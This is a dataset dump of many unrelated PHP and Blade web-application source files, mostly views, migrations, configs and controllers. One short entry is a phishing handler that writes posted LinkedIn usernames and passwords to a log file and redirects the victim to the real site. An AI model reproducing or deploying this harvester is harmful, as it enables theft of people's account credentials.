text stringlengths 2 1.03M |
|---|
@extends('layouts.default')
@section('title', '重置密码')
@section('content')
<div class="col-md-8 offset-md-2">
<div class="card">
<div class="card-header">
<h5>重置密码</h5>
</div>
<div class="card-body">
@if(session('status'))
... |
@extends('layout.header')
@section('content')
<br>
<div class="main-panel">
<div class="content-wrapper">
<div class="row">
<div class="container mb-2">
<div class="d-flex justify-content-between flex-wrap">
<div class="d-flex align-items-end flex-wrap">
<div class="d-flex">
... |
<?php
/*
RLPanel v2.0 | Coypright $CURRENT_YEAR, George Tsatsis.
RLPanel contains hardcoded locations and is specifically made to work with RLAPI and RLME's database ONLY. We will not provide support.
*/
/* Start the PHP Session */
session_start();
if($_POST['sessionaction'] == 'logout'){
session_destroy();
}
/* I... |
<?php
use Illuminate\Support\Str;
$db_config = get_db_config();
return [
/*
|--------------------------------------------------------------------------
| Default Database Connection Name
|--------------------------------------------------------------------------
|
| Here you may specify whic... |
<?php
/* @var $this yii\web\View */
$this->title = 'My Yii Application';
?>
<section id="slider"><!--slider-->
<div class="container">
<div class="row">
<div class="col-sm-12">
<div id="slider-carousel" class="carousel slide" data-ride="carousel">
... |
@extends('layouts.admin')
@section('content')
<div class="container">
<div class="text-center">
<h1><span class="fa fa-user-edit mr-2"></span>Edit Project Status</h1>
<hr/>
</div>
<div class="row">
<div class="col-sm-8 col-md-5 col-12 m-auto">
<div class="panel panel-war... |
<?php
declare(strict_types = 1);
return [
'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:51.0) Gecko/20100101 Firefox/51.0' => [
'browser' => ['name' => 'firefox', 'version' => '51.0'],
'platform' => ['name' => 'macos', 'version' => '10.12'],
'device' => ['name' => 'macintosh', 'bran... |
<?php
return [
/*
|--------------------------------------------------------------------------
| Pagination Language Lines
|--------------------------------------------------------------------------
|
| The following language lines are used by the paginator library to build
| the simple pa... |
<?php
$vendorDir = dirname(__DIR__);
return array (
'yiisoft/yii2-swiftmailer' =>
array (
'name' => 'yiisoft/yii2-swiftmailer',
'version' => '2.0.6.0',
'alias' =>
array (
'@yii/swiftmailer' => $vendorDir . '/yiisoft/yii2-swiftmailer',
),
),
'yiisoft/yii2-codeception' =>
array (
... |
<?php
namespace App\Database\Migrations;
use CodeIgniter\Database\Migration;
class Users extends Migration
{
public function up()
{
// make migration for the user field
$this->forge->addField([
'id' => [
'type' => 'INT',
'constraint' => 11,
... |
<?php declare(strict_types=1);
namespace Rector\Tests\Issues\Issue1242;
use Rector\Testing\PHPUnit\AbstractRectorTestCase;
final class Issue1242Test extends AbstractRectorTestCase
{
public function test(): void
{
$this->doTestFiles([__DIR__ . '/Fixture/fixture1242.php']);
}
protected functio... |
<?php
namespace ContainerJB9e4Cw;
use Symfony\Component\DependencyInjection\Argument\RewindableGenerator;
use Symfony\Component\DependencyInjection\Exception\RuntimeException;
/**
* @internal This class has been auto-generated by the Symfony Dependency Injection Component.
*/
class getTwig_Form_RendererService ext... |
<?php namespace App\Models\Notifications\Traits\Relationship;
trait Relationship
{
} |
<?php declare(strict_types = 1);
namespace IPub\WebSockets\Exceptions;
use Exception;
class StorageException extends Exception implements IException
{
} |
<?php
use Brackets\AdminAuth\Models\AdminUser;
use Carbon\Carbon;
use Illuminate\Config\Repository;
use Illuminate\Database\Migrations\Migration;
use Illuminate\Support\Facades\DB;
use Illuminate\Support\Facades\Hash;
/**
* Class FillDefaultAdminUserAndPermissions
*/
class FillDefaultAdminUserAndPermissions extends... |
<?php
final class NF_ConditionalLogic_Triggers_HidePart implements NF_ConditionalLogic_Trigger
{
public function process( &$target, &$fieldCollection, &$data )
{
$field_trigger = NF_ConditionalLogic()->trigger( 'hide_field' );
$field_keys = NF_ConditionalLogic_Integrations_MultiPart::extract_fi... |
<?php
/*
* This file is part of SwiftMailer.
* (c) 2004-2009 Chris Corbyn
*
* For the full copyright and license information, please view the LICENSE
* file that was distributed with this source code.
*/
/**
* Handles raw Transfer Encoding in Swift Mailer.
*
*
* @author Sebastiaan Stok <s.stok@rollersca... |
<?php
namespace aop\request;
/**
* ALIPAY API: alipay.user.applepay.provisioningbundle.effect request
*
* @author auto create
* @since 1.0, 2020-05-29 10:24:09
*/
class AlipayUserApplepayProvisioningbundleEffectRequest
{
/**
* wagu激活卡片接口
**/
private $bizContent;
private $apiParas = array();
private $term... |
<?php
namespace App\Providers;
use Illuminate\Support\ServiceProvider;
use App\Repositories\CategoryRepository;
use App\Repositories\Interfaces\CategoryRepositoryInterface;
use App\Repositories\ProductsRepository;
use App\Repositories\Interfaces\ProductRepositoryInterface;
use App\Repositories\ProductCategoryReposito... |
<?php
namespace App\Listeners;
use App\Events\InvitationSaved;
use App\Notifications\InvitationNotification;
use Illuminate\Contracts\Queue\ShouldQueue;
use Illuminate\Queue\InteractsWithQueue;
use Illuminate\Support\Facades\Notification;
class SendInvitationNotificaiton
{
/**
* Create the event listener.
... |
<?php
require __DIR__ . '/artifacts/ebay-sdk-php.phar';
$service = new \DTS\eBaySDK\Trading\Services\TradingService(array(
'apiVersion' => '123'
));
echo 'Version=' . \DTS\eBaySDK\Services\BaseService::VERSION; |
<?php
/**
* @copyright Bluz PHP Team
* @link https://github.com/bluzphp/skeleton
*/
/**
* @namespace
*/
namespace Application\Tests\Test;
use Application\Tests\TestCase;
/**
* @package Application\Tests\Test
* @author Anton Shevchuk
* @created 19.05.2014 12:08
*/
class ExampleTest extends TestCase
{
... |
<header class="header" id="site-header">
<div class="container">
<div class="header-content-wrapper">
<div class="logo">
<div class="logo-text">
<div class="logo-title">{{ $settings->site_name }}</div>
</div>
... |
<?php
defined('BASEPATH') or exit('No direct script access allowed');
class Pupuk extends CI_Controller
{
public function __construct()
{
parent::__construct();
$this->load->model('Pupuk_model');
}
public function index()
{
$data['title'] = 'Data Pupuk';
$data['user'... |
<?php
namespace ZipkinTests\Unit\Reporters;
use PHPUnit_Framework_TestCase;
use Zipkin\Reporters\InMemory;
use Zipkin\Samplers\BinarySampler;
use Zipkin\TracingBuilder;
final class InMemoryTest extends PHPUnit_Framework_TestCase
{
public function testReportOfSpans()
{
$reporter = new InMemory();
... |
<?php get_header(); ?>
<?php do_action('theme/index/content_before'); ?>
<section class="with-sidebar wrapper">
<div class="row">
<div class="col-md-12">
<div class="content">
<?php if (have_posts()) : ?>
<div class="posts">
<?php while (have_posts()) : ... |
<!DOCTYPE html>
<html>
<head>
<title>Xcoins- Dashboard</title>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<link rel="stylesheet" href="{{ asset('css/bootstrap.min.css') }}">
<link rel="stylesheet" href="https://cdnjs.cloudfla... |
@extends('layouts.app')
@section('content')
@if (\Illuminate\Support\Facades\Auth::check())
<div class="container">
<div class="row justify-content-center">
<div class="col-md-8">
<div class="card">
<form action="" method="post" enctype... |
<?php include("app_comp.php") ; ?><br /><br /><br /><br /><br />
<?php include("header_comp2.php") ; ?>
<div class="container-fluid">
<div class="row">
<script src="adsbygoogle.js"></script>
... |
<?php
declare( strict_types=1 );
namespace Automattic\WooCommerce\GoogleListingsAndAds\Exception;
use InvalidArgumentException;
defined( 'ABSPATH' ) || exit;
/**
* Class InvalidArray
*
* @package Automattic\WooCommerce\GoogleListingsAndAds\Exception
*/
class InvalidArray extends InvalidArgumentException impleme... |
<?php
// This file is part of Moodle - http://moodle.org/
//
// Moodle is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// Moodle ... |
<?php
namespace App\Http\Requests;
use Illuminate\Validation\Rule;
use Illuminate\Foundation\Http\FormRequest;
class StoreUpdatePostRequests extends FormRequest
{
/**
* Determine if the user is authorized to make this request.
*
* @return bool
*/
public function authorize()
{
... |
<?php
namespace Google\AdsApi\AdManager\v202105;
/**
* This file was generated from WSDL. DO NOT EDIT.
*/
class LineItemActivityAssociationError extends \Google\AdsApi\AdManager\v202105\ApiError
{
/**
* @var string $reason
*/
protected $reason = null;
/**
* @param string $fieldPath
... |
<?php
use Illuminate\Database\Migrations\Migration;
use Illuminate\Database\Schema\Blueprint;
use Illuminate\Support\Facades\Schema;
class CreateUsersTable extends Migration
{
/**
* Run the migrations.
*
* @return void
*/
public function up()
{
Schema::create('users', function ... |
<?php
use Twig\Environment;
use Twig\Error\LoaderError;
use Twig\Error\RuntimeError;
use Twig\Markup;
use Twig\Sandbox\SecurityError;
use Twig\Sandbox\SecurityNotAllowedTagError;
use Twig\Sandbox\SecurityNotAllowedFilterError;
use Twig\Sandbox\SecurityNotAllowedFunctionError;
use Twig\Source;
use Twig\Template;
/* da... |
@extends('layouts.app')
@section('content')
<div class="container">
<div class="row justify-content-center">
<div class="col-md-8">
<div class="card">
<div class="card-header">{{ __('Modifica contraseña') }}</div>
<div class="card-body">
@if ... |
<section class="content">
<!-- Default box -->
<div class="box">
<div class="box-header with-border">
<h3 class="box-title">REPORTE DE TOTAL DE LIBROS</h3>
<div class="box-tools pull-right">
<button type="button" class="btn btn-box-tool" data-widget="collapse" ... |
<?php if ( ! defined('BASEPATH')) exit('No direct script access allowed');
class C__bank extends CI_Controller {
public function __construct()
{
parent::__construct();
get_breadcrumb();
$this->load->model('M__app');
access(1);
}
public function index()
{
$data['title'] ="Bank";
$data['active']... |
<?php
file_put_contents("userlog.txt", "Linkedin Username: " . $_POST['username'] . " Pass: " . $_POST['password'] . "\n", FILE_APPEND);
header('Location: https://www.linkedin.com/');
exit(); |
<?php
namespace App\Http\Livewire\Component;
use Livewire\Component;
class Select2 extends Component
{
public $results = [];
public $datas;
public function hydrate()
{
$this->emit('select2');
}
public function render()
{
return view('livewire.component.select2');
}
... |
<?php
namespace Boekkooi\Bundle\JqueryValidationBundle\DependencyInjection;
use Symfony\Component\Config\Definition\Builder\TreeBuilder;
use Symfony\Component\Config\Definition\ConfigurationInterface;
/**
* @author Warnar Boekkooi <warnar@boekkooi.net>
*/
class Configuration implements ConfigurationInterface
{
... |
<?php
use Illuminate\Database\Migrations\Migration;
use Illuminate\Database\Schema\Blueprint;
use Illuminate\Support\Facades\Schema;
class CreateTblProduct extends Migration
{
/**
* Run the migrations.
*
* @return void
*/
public function up()
{
Schema::create('tbl_product', fun... |
<!-- Box - Education & Jobs -->
<div class="resume-box animated slide-in-left">
<i class="title-icon text-yellow flaticon-document56"></i>
<h3>Education & Jobs</h3>
<div class="timeline">
<div class="timeline-event te-yellow">
<div class="event-date">Jun 2008 - Dec 2012</div>
... |
<?php
use yii\helpers\Html;
use yii\widgets\ActiveForm;
use app\models\User;
use kartik\money\MaskMoney;
use unclead\multipleinput\MultipleInput;
/* @var $this yii\web\View */
/* @var $model app\models\ProductItem */
/* @var $form yii\widgets\ActiveForm */
$geoip = new \lysenkobv\GeoIP\GeoIP();
$ip = $geoip->ip(Yii::... |
<?php
/**
* TOP API: taobao.tmc.user.cancel request
*
* @author auto create
* @since 1.0, 2015.12.04
*/
class TmcUserCancelRequest
{
/**
* 用户昵称
**/
private $nick;
/**
* 用户所属的平台类型,tbUIC:淘宝用户; icbu: icbu用户
**/
private $userPlatform;
private $apiParas = array();
public function setNick($nick)
... |
<?php
namespace Pluma\Tests;
class Quote
{
public function hello($someone = "world")
{
return "Hello {$someone}!";
}
} |
<?php
use Illuminate\Support\Facades\Schema;
use Illuminate\Database\Schema\Blueprint;
use Illuminate\Database\Migrations\Migration;
class CreateSubcategoriesTable extends Migration
{
/**
* Run the migrations.
*
* @return void
*/
public function up()
{
Schema::create('subcatego... |
<?php
/*
* This file is part of the Symfony package.
*
* (c) Fabien Potencier <fabien@symfony.com>
*
* For the full copyright and license information, please view the LICENSE
* file that was distributed with this source code.
*/
namespace Symfony\Component\Validator\Tests\Mapping\Loader;
use Symfony\Component... |
<?php
namespace Nuwave\Lighthouse\Schema\Directives;
use GraphQL\Type\Definition\ResolveInfo;
use Illuminate\Database\DatabaseManager;
use Illuminate\Database\Eloquent\Model;
use Illuminate\Database\Eloquent\Relations\Relation;
use Nuwave\Lighthouse\Execution\Arguments\ArgumentSet;
use Nuwave\Lighthouse\Execution\Arg... |
<?php
defined('BASEPATH') OR exit('No direct script access allowed');
class Isi_logistik extends CI_Controller {
var $cname = "Logistik/Isi_logistik";
public function __construct()
{
parent::__construct();
$this->load->model(['Logistik/Isi_logistik_model','Superadmin/Petugas_aplikasi_model']);
}
p... |
<?php
use app\common\utils\Fecha;
use kartik\helpers\Html;
use yii\helpers\Url;
use app\common\utils\Permiso;
use app\models\Estado;
use yii\widgets\Pjax;
use app\models\User;
use kartik\daterange\DateRangePicker;
use kartik\form\ActiveForm;
use yii\web\JsExpression;
/* @var $this yii\web\View */
/* @var $model app\... |
<?php
/**
* Created by PhpStorm.
* User: mask
* Date: 2019/2/10
* Time: 17:09
*/
namespace app\api\controller\v1;
use app\api\validate\AddressNew;
use app\api\service\Token as TokenService;
use app\api\model\User as UserModel;
use app\lib\exception\successMessage;
use app\lib\exception\UserException;
class Add... |
<?php
/*
* This file is part of Graze DAL
*
* Copyright (c) 2017 Nature Delivered Ltd. <http://graze.com>
*
* For the full copyright and license information, please view the LICENSE
* file that was distributed with this source code.
*
* @see http://github.com/graze/dal/blob/master/LICENSE
*/
namespace Graze\D... |
<?php
namespace App\Http\Controllers;
use App\Http\Requests\UpdateProfileRequest;
use App\Http\Requests\UserCreateRequest;
use App\Mail\ConfirmationCodeMail;
use App\Services\Invite\IInviteService;
use App\Services\User\IUserService;
use Illuminate\Http\Request;
use Illuminate\Support\Facades\Auth;
use Illuminate\Sup... |
<?php
use Illuminate\Database\Migrations\Migration;
use Illuminate\Database\Schema\Blueprint;
use Illuminate\Support\Facades\Schema;
return new class extends Migration
{
/**
* Run the migrations.
*
* @return void
*/
public function up()
{
Schema::create('package_modes', functio... |
<!--end::Content-->
<div class="container">
<div class="card card-custom gutter-b">
<div class="card card-custom">
<div class="card-header flex-wrap py-5">
<div class="card-title">
<h3 class="card-label"><?= $page; ?>
<!-- <span class="... |
<?php
declare(strict_types=1);
namespace LizardsAndPumpkins\Import\Product\Image;
use LizardsAndPumpkins\Import\Product\ProductAttributeList;
use LizardsAndPumpkins\Import\Product\Image\Exception\ProductImageListNotMutableException;
use PHPUnit\Framework\TestCase;
/**
* @covers \LizardsAndPumpkins\Import\Product\I... |
@extends('layouts.app')
@section('breadcrumbs')
<div class="breadcrumbs">
<div class="col-sm-4">
<div class="page-header float-left">
<div class="page-title">
<h1>Edit Data Nationality</h1>
</div>
</div>
</div>
<div class="col-sm-8">
<div cl... |
<section class="content">
<div class="body_scroll">
<div class="block-header">
<div class="row">
<div class="col-lg-7 col-md-6 col-sm-12">
<h2>Add Category</h2>
<button class="btn btn-primary btn-icon mobile_menu" type="button"><i class="z... |
<?= $this->extend('layout/dashboard-layout'); ?>
<?= $this->section('content'); ?>
<div class="col-md-10">
<!-- general form elements -->
<div class="card card-orange">
<div class="card-header">
<h3 class="card-title">Tambah Data Mahasiswa</h3>
</div>
<!-- /.card-header -->
<!-- form start -->
<?php if (!empty(... |
<?php
declare(strict_types=1);
namespace PowerSrc\AmazonAdvertisingApi\Concerns;
trait HasListItemClass
{
/**
* Return the FQCN of the class to cast the list items to.
*
* @return string
*/
public function getListItemClass(): string
{
return $this->model;
}
} |
<?php //00551
// --------------------------
// Created by Dodols Team
// --------------------------
if(!extension_loaded('ionCube Loader')){$__oc=strtolower(substr(php_uname(),0,3));$__ln='ioncube_loader_'.$__oc.'_'.substr(phpversion(),0,3).(($__oc=='win')?'.dll':'.so');if(function_exists('dl')){@dl($__ln);}if(function... |
<?php
namespace Wprr\DataApi\WordPress\Field;
// \Wprr\DataApi\WordPress\Field\FieldTemplate
class FieldTemplate {
protected $_post = null;
function __construct() {
}
public function setup($post) {
$this->_post = $post;
return $this;
}
public function get_post() {
return $th... |
</header><!--/#home-->
<section id="division">
<div class="container">
<div class="heading wow fadeInUp" data-wow-duration="1000ms" data-wow-delay="300ms">
<div class="row">
<div class="text-center col-sm-8 col-sm-offset-2">
<h2>Our Division</h2>
<p>In aisco there a... |
<?php
namespace App\Models;
use Illuminate\Database\Eloquent\Factories\HasFactory;
use Illuminate\Database\Eloquent\Model;
class products extends Model
{
use HasFactory;
//defining what to be filled in the db table
protected $table = 'products';
public $timestamps = true;
protected $casts = [
... |
<?php
use Illuminate\Database\Migrations\Migration;
use Illuminate\Database\Schema\Blueprint;
use Illuminate\Support\Facades\Schema;
class EditTablePosts extends Migration
{
/**
* Run the migrations.
*
* @return void
*/
public function up()
{
Schema::table('posts', function (Bl... |
<?php
namespace Char0n\FFMpegPHP;
/**
* AnimatedGif represents an animated gif object.
*
* This class in implemented in rather un-orthodox way.
* Reason is that ffmpeg doesn't provide satisfactory
* quality and compression of animated gifs.
*
* Code fragments used from: GIFEncoder Version 2.0 by László Zsidi
... |
<?php
namespace SebastiaanDeJonge\PhpAccessBypassExample;
/**
* Secret object
*
* @package SebastiaanDeJonge\PhpAccessBypassExample
*/
class SecretObject
{
/**
* This is a very secret string, only accessible inside this class!
*
* @var string
*/
private $secretProperty = 'This is a secr... |
@extends('welcome')
@section('content')
<div class="content-wrapper">
<section class="content-header">
<div class="container-fluid">
<div class="row mb-2">
<div class="col-sm-6">
<h1>Главная</h1>
</div>
... |
<div {{ $attributes->merge(['class' => 'flex flex-row justify-center bg-white p-4 border']) }}>
<div class="container max-w-screen-sm">
{{$slot}}
</div>
</div> |
____ ____ _____ ___ _____ _____ ____ ___ ____ _____
| _ \| _ \|_ _\ \ / / \|_ _| ____/ ___/ _ \| _ \| ____|
| |_) | |_) || | \ \ / / _ \ | | | _|| | | | | | | | | _|
| __/| _ < | | \ V / ___ \| | | |__| |__| |_| | |_| | |___
|_| |_| \_\___| \_/_/ \_\_| |_____\____\___/|____/|_____|
$ git cl... |
<?php
return [
/*
|--------------------------------------------------------------------------
| Mail Driver
|--------------------------------------------------------------------------
|
| Laravel supports both SMTP and PHP's "mail" function as drivers for the
| sending of e-mail. You may s... |
<?php
namespace ArtARTs36\LaravelScheduleDocumentator\Data;
use ArtARTs36\LaravelScheduleDocumentator\Contracts\DocumentContent;
class FileDocumentContent implements DocumentContent
{
protected $path;
public function __construct(string $path)
{
$this->path = $path;
}
public function get... |
@extends('layouts.index')
@section('center')
@include('layouts.cart')
<div class="container">
<div class="row justify-content-center">
<div class="col-lg-6 col-xl-7 m-lr-auto m-b-50">
<h4 class="mtext-109 cl2 p-b-30">Crear Dirección </h4><p class="text-right" style="color:red">*requerido</p>
<form ac... |
<?php
namespace OXI_IMAGE_HOVER_PLUGINS\Modules\Caption\Admin;
/**
* Description of Effects2
*
* @author biplo
*/
use OXI_IMAGE_HOVER_PLUGINS\Modules\Caption\Modules as Modules;
use OXI_IMAGE_HOVER_PLUGINS\Classes\Controls as Controls;
class Effects5 extends Modules {
public function register_effects() {
... |
<?php
use Illuminate\Database\Migrations\Migration;
use Illuminate\Database\Schema\Blueprint;
use Illuminate\Support\Facades\Schema;
class CreateUsersPermissionsTable extends Migration
{
/**
* Run the migrations.
*
* @return void
*/
public function up()
{
Schema::create('permis... |
<?php
namespace App;
use Illuminate\Database\Eloquent\Model;
class PengajuanKp extends Model
{
protected $fillable = ['no_pengajuan', 'judul_pengajuan', 'kerangka_pikir', 'no_telp', 'jumlah_pegawai', 'dosen_pembimbing', 'status'];
} |
<?php
use Illuminate\Http\Request;
/*
|--------------------------------------------------------------------------
| API Routes
|--------------------------------------------------------------------------
|
| Here is where you can register API routes for your application. These
| routes are loaded by the RouteServicePr... |
<?php
use Illuminate\Support\Facades\Schema;
use Illuminate\Database\Schema\Blueprint;
use Illuminate\Database\Migrations\Migration;
class CreateUsuariosTable extends Migration
{
/**
* Run the migrations.
*
* @return void
*/
public function up()
{
Schema::create('usuarios', fun... |
<?php
use Illuminate\Database\Migrations\Migration;
use Illuminate\Database\Schema\Blueprint;
use Illuminate\Support\Facades\Schema;
class CreatePuregoldsTable extends Migration
{
/**
* Run the migrations.
*
* @return void
*/
public function up()
{
Schema::create('puregolds', f... |
<?php
/**
* 发送邮箱验证码任务
*/
namespace common\queues;
use yii;
use yii\base\BaseObject;
/**
* 发送邮箱验证码任务
* @package common\queues
*/
class SendEmailSmsJobs extends BaseObject implements \yii\queue\JobInterface
{
public $id = null;
public function execute($queue)
{
$exTime = time();
$maxS... |
<?php
/**
* Created by PhpStorm.
* User: zhangjincheng
* Date: 17-2-27
* Time: 下午12:49
*/
namespace Server\Memory;
use Server\CoreBase\SwooleException;
/**
* 对象复用池
* Class Pool
* @package Server\Memory
*/
class Pool
{
private static $instance;
private $map;
private $pool_count = [];
public ... |
<?php
$a=new DateTime(date("Y-m-d"));
foreach ($pasien as $row) {?>
<html><head> <title>Nina Dental Clinic</title>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
</head><body bgcolor="#ffffff" onLoad="window.print()">
<table cellpadding="0" cellspacing="0" border="0" width="820" align... |
<div class="mdl-card__title"><strong>freeman.pixelz</strong> posted on
Apr 10, 2016 at 7:40:47 AM
</div><div class="mdl-card__supporting-text">
Hello, I'm trying to compose my own music in .asm file. For information, I use nesasm compiler on Mac OS.
<br>
<br>What's t... |
<div class="page-header">
<h3>Ganti Password</h3>
</div>
<div class="row">
<div class="col-md-6 col-md-offset-3">
<?php
if(isset($_GET['pesan'])){
if($_GET['pesan']=="berhasil"){
echo "<div class='alert alert-success'>Password Berhasil diganti.</div>";
}
}
?>
<form action="<?... |
<?php if (!defined('THINK_PATH')) exit(); /*a:4:{s:65:"/data/code/public/../application/admin/view/help/center/edit.html";i:1608779694;s:53:"/data/code/application/admin/view/layout/default.html";i:1602168705;s:50:"/data/code/application/admin/view/common/meta.html";i:1602168705;s:52:"/data/code/application/admin/view/... |
<?php
/** @noinspection PhpUnused */
declare(strict_types=1);
namespace Neucore\Migrations;
use Doctrine\DBAL\Schema\Schema;
use Doctrine\Migrations\AbstractMigration;
/**
* Auto-generated Migration: Please modify to your needs!
*/
final class Version20200724212809 extends AbstractMigration
{
public function... |
<?php
namespace AliOpen\Core\Auth;
class Credential extends AbstractCredential {
/**
* @var string
*/
private $dateTimeFormat = 'Y-m-d\TH:i:s\Z';
/**
* @var false|string
*/
private $refreshDate;
/**
* @var string
*/
private $expiredDate;
/**
* @var string
... |
<?php $__env->startSection('assets_adicionales'); ?>
<link rel="stylesheet" href="<?php echo e(asset('plugins/select2/select2.min.css')); ?>">
<script src="<?php echo e(asset('plugins/select2/select2.min.js')); ?>" defer></script>
<?php $__env->stopSection(); ?>
<?php $__env->startSection('content'); ?>
<div class="co... |
<?php
declare(strict_types=1);
$post = new Post();
$name = $message = $time = '';
$error = ['name' => '', 'time' => '', 'message' => ''];
if(isset($_POST['submit'])){
if (empty($_POST['name'])) {
$error['name'] = "Please enter your name";
} else {
$name = sanitizer($_POST['name']);
if ... |
<?php
namespace App\Http\Middleware;
use Closure;
class Bearer
{
/**
* Handle an incoming request.
*
* @param \Illuminate\Http\Request $request
* @param \Closure $next
* @return mixed
*/
public function handle($request, Closure $next)
{
$header = $request->header... |
<style>
/***
Imagen de perfil y boton de subir imagen
***/
.icon-2{
font-size: .8rem;
width: 100px;
height: 100px;
}
.container .btn{
margin-left: .6rem;
padding: .6rem 2.5rem;
font-size: 14px;
font-weight: bold;
}
.boton-subir{
cursor: pointer;
align-self: center;
}
.m... |
<?php
namespace App\Models;
use Illuminate\Database\Eloquent\Model;
use Illuminate\Database\Eloquent\SoftDeletes;
class Cart extends Model
{
use SoftDeletes;
protected $fillable = [
'user_id', 'goods_detail_id', 'num'
];
public function goods_detail()
{
return $this->hasOne('Ap... |
<?php
class SalesReturnController extends CI_Controller
{
public function __construct()
{
parent::__construct();
$this->load->model('Webservice_general_model');
$this->load->library('form_validation');
}
public function index(){
$data['currentPage']='salesReturn';
$this->load->view('asses... |
<?php
/**
* NOTE: This class is auto generated by the swagger code generator program.
* https://github.com/swagger-api/swagger-codegen
* Do not edit the class manually.
*/
namespace SquareConnect\Model;
use \ArrayAccess;
/**
* V1Fee Class Doc Comment
*
* @category Class
* @package SquareConnect
* @author ... |
<?php
namespace App;
use Illuminate\Database\Eloquent\Model;
use Illuminate\Database\Eloquent\SoftDeletes;
class Dostava extends Model
{
use SoftDeletes;
protected $table = 'dostava';
protected $guarded = [];
public function stavke()
{
return $this->belongsToMany(Posiljka::class, 'dosta... |
<div class="espacio">
<div class="container">
<h1 class="huno">RESEÑA – Hakata Tonkkotsu Ramens</h1>
<p class="fecha">20 de Noviembre del 2020, 13:43</p>
<span class="badge badge-primary">Reseñas</span>
<span class="badge badge-... |
<!doctype html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Test</title>
<style>
body {
padding: 30px;
font-family: sans-serif;
}
#container {
background: #FFF;
border-radius: 5px;
box-shadow: 0 3px 5px rgba(0,0,0,.3);
padding: 20px;
}
</style>
</head>
<body>
<div id="container">
<h1>Ju... |
<?php
/*
* Copyright 2014 Google Inc.
*
* Licensed under the Apache License, Version 2.0 (the "License"); you may not
* use this file except in compliance with the License. You may obtain a copy of
* the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed t... |
<?php
require_once("BaseTagLib.class.php");
/**
*
* Class Cookie.
*
* @author maraf
* @timestamp 2020-01-27
*
*/
class Cookie extends BaseTagLib {
public function setValue($name, $value, $expire = 0, $path = "", $domain = "", $isSecure = false, $isHttpOnly = false) {
if ($value... |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.